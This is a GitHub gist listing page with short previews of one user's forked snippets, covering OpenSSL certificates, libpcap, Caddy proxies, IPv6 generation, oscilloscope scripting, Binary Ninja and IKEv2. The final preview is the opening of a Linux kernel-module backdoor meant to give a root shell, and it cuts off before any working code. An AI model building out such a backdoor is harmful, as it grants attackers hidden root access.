Skip to content

Instantly share code, notes, and snippets.

@Manouchehri
Manouchehri / makeauthority.sh
Created December 2, 2016 11:13 — forked from richieforeman/makeauthority.sh
Issue Your Own Self-Signed S/MIME Certs with OpenSSL
# Run this once
openssl genrsa -des3 -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
@Manouchehri
Manouchehri / test_pcap.c
Created December 14, 2016 14:47 — forked from physacco/test_pcap.c
A "hello world" example for libpcap.
#include <stdio.h>
#include <stdlib.h>
#include <pcap/pcap.h>
/* callback function when packet have captured */
static void mycb(u_char *user,
const struct pcap_pkthdr *h, const u_char *packet)
{
static int count = 1;
printf("Packet %d:\n", count);
@Manouchehri
Manouchehri / Caddyfile
Created December 15, 2016 03:13 — forked from cboettig/Caddyfile
Caddyserver proxy for Jupyter
https://example.com {
proxy / jupyter:8888 {
proxy_header X-Real-IP {remote}
proxy_header Host {host}
}
proxy {{.PathMatches "~* /(api/kernels/[^/]+/(channels|iopub|shell|stdin)|terminals/websocket)/?"}} jupyter:8888 {
proxy_header X-Real-IP {remote}
@Manouchehri
Manouchehri / random-ipv6-address-generator.sh
Created January 8, 2017 07:42 — forked from click0/random-ipv6-address-generator.sh
Random generator ipv6 addresses within your ipv6 network prefix.
#Random generator ipv6 addresses within your ipv6 network prefix.
#!/usr/local/bin/bash
# Copyright
# Vladislav V. Prodan
# universite@ukr.net
# 2011
array=( 1 2 3 4 5 6 7 8 9 0 a b c d e f )
@Manouchehri
Manouchehri / About.txt
Created January 19, 2017 21:29 — forked from ctipper/About.txt
OSX app menu compatibility shim for JDK 9 EA releases
Abstract:
Hooks existing preferences/about/quit functionality from an existing Java app into handlers for the Mac OS X application menu.
Tailored to provide compatibility with the Java 9 EA releases so that the app may be built on other platforms. Note that there
is no compatibility with Java 8, though all that is required is to change java.awt.desktop -> com.apple.eawt in all handler methods
This work was inspired by an OSX compatibility layer provided by Apple that used a different API. This is an otherwise original
contribution and is a reimplementation using newer interface methods.
Usage:
@Manouchehri
Manouchehri / rigol-plot.py
Created January 28, 2017 05:28 — forked from pklaus/rigol-plot.py
Example of controlling a Rigol oscilloscope via Python. Fetch a 1 MB "Long Memory" trace from the oscilloscope and graph it using matplotlib.
#!/usr/bin/env python
"""
Download data from a Rigol DS1052E oscilloscope and graph with matplotlib.
By Ken Shirriff, http://righto.com/rigol
Based on http://www.cibomahto.com/2010/04/controlling-a-rigol-oscilloscope-using-linux-and-python/
by Cibo Mahto.
"""
@Manouchehri
Manouchehri / Caddyfile
Created February 14, 2017 17:24 — forked from turtlemonvh/Caddyfile
Multi-host wildcard caddy example
a.myhost.com {
tls off
root /var/www/
proxy / localhost:8091
log log/access.a.log
}
b.myhost.com {
tls off
root /var/www/
@Manouchehri
Manouchehri / callgraph.py
Created February 16, 2017 01:09 — forked from joshwatson/callgraph.py
Callgraph Generating Binary Ninja Plugin
import struct
import threading
import binaryninja as bn
class Graph(object):
def __init__(self, view):
# type: (Graph, bn.BinaryView) -> None
self.view = view
@Manouchehri
Manouchehri / IKEv2.mobileconfig
Created April 25, 2017 00:42 — forked from zqqf16/IKEv2.mobileconfig
strongSwan IKEv2 configurations for iOS without certificate
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>IKEv2</key>
<dict>
<key>AuthName</key>
@Manouchehri
Manouchehri / rooted.c
Created April 27, 2017 02:52 — forked from leonjza/rooted.c
Linux Pluggable Kernel Module Backdoor
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
/* For our shell ^_^ */
#include<linux/kmod.h>
int get_root (void)
{